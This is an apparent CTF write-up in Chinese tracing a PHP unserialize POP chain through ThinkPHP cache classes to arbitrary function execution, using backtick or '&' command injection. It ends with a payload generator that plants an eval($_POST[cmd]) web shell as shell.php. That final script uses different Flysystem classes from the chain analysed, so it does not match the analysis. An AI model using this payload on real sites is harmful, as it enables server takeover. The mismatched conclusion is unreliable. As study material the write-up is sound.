目录
开局找__destruct方法
啊错了,开局先选英雄(找到参数
然后再找一下__destruct方法
在抽象类AbstractCache
中:
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
当$this->autosave==false
时将执行$this->save()
。
跟进save()方法
由于AbstractCache
本身是一个抽象类,定义为抽象的类不能被实例化。任何一个类,如果它里面有一个或多个方法是被声明为抽象的,那么这个类就必须被声明为抽象的。被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现。
继承一个抽象类的时候,子类必须定义父类中的所有抽象方法
所以这时候我们要查看哪些类继承了AbstractCache的类
发现了一个名为CacheStore
类继承了AbstractCache,这里学到一个以前没注意的知识点。如果父类是一个抽象类,那么可以把方法的功能代码写在子类。所以父类和子类的关系并不是只有子类继承父类,或许这个应该叫孝敬????(手动狗头
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
没有任何判断,先执行$this->getForStorage
方法,本类没有存在该方法,又得回去父类。
跟进getForStorage()方法
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
先执行$this->cleanContents
,参数是$this->cache
。
跟进cleanContents()方法
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
首先对指定数组进行array_flip
处理(对数组键和值进行反转),赋值给$cachedProperties
。
foreach 遍历数组is_array判断外部传入的数组$contents(也就是$this->cache)中的值是否还是一个数组,如果是则将该数组和$cachedProperties
进行array_intersect_key
处理。
array_intersect_key() 返回一个数组,该数组包含了所有出现在 array
和其它参数数组中同时存在的键名的值。
举个栗子
<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);
var_dump(array_intersect_key($array1, $array2));
?>
输出
array(2) {
["blue"]=>
int(1)
["green"]=>
int(3)
}
上例中可以看到,只有 'blue'
和 'green'
两个键名同时出现在两个数组中,因此被返回。另外注意 'blue'
和 'green'
的值在两个数组中是不同的。但因为只检查键名,因此还是匹配。返回的只是 array
中的值。
处理完返回$contents
,cleanContents
方法执行完毕。
回到上一个方法,赋值给$cleaned
。然后再对数组[$cleaned, $this->complete]
进行json_encode
处理
处理完将json
数据赋值给$contents
,回到save
方法,再执行:$this->store->set($this->key, $contents, $this->expire)
有意思的是父类和子类都没有set方法,而且也没有call方法,那么只能寻找其他的set方法或者call的类,然后把$this->store
实例化为该类的对象。
这里有个file类可以利用
跟进set()方法
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
关键在$this->serialize($value)
。
在file
类找不到serialize
该方法,去它的父类driver(/vendor/topthink/framework/src/think/cache/Driver.php)找到。
跟进serialize方法
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "\Opis\Closure\serialize";
return $serialize($data);
}
发现利用点$serialize($data)
,其中$this->options['serialize'][0]
参数可控,可以执行任意函数,参数为$data
。
在set方法中我们可以知道data的来源是value,再回到CacheStore类,发现value,再回到CacheStore类,发现value来源于$contents,即前面通过json_encode处理后的json格式数据。
也就是说函数名可以控制,但是执行的的参数必须是json格式。
这里要利用到命令行的特殊规则: 在linux命令行中,会优先执行反引号中的内容,因此当函数名为system
,即使参数为json
形式不合法但只需其中存在反引号且反引号内的内容合法即可优先执行。
在windows命令行中,就不存在以上反引号的规则,但是可以利用&来执行多指令。
总结
构造POP链的思路到现在已经差不多了,其中涉及了两个类
-
抽象类
AbstractCache
和继承它的子类CacheStore
-
file类和它的父类driver
可以加入外部变量的点有:
-
AbstractCache
类中的$this->autosave=false
-
CacheStore
类中的$this->cache
(处理完将变成json数据),用于最终要执行函数的参数。 -
CacheStore
类中的$this->store
必须为一个file
类 -
driver
类中的$this->options[‘serialize’][0]
,用于指定要执行的函数名,这里为system
。
把所有的类放到一起回顾一下整体思路
所以最后的链子就像WP给的那样
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php eval($_POST[cmd])?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'shell.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));
PHP是世界上最好的语言!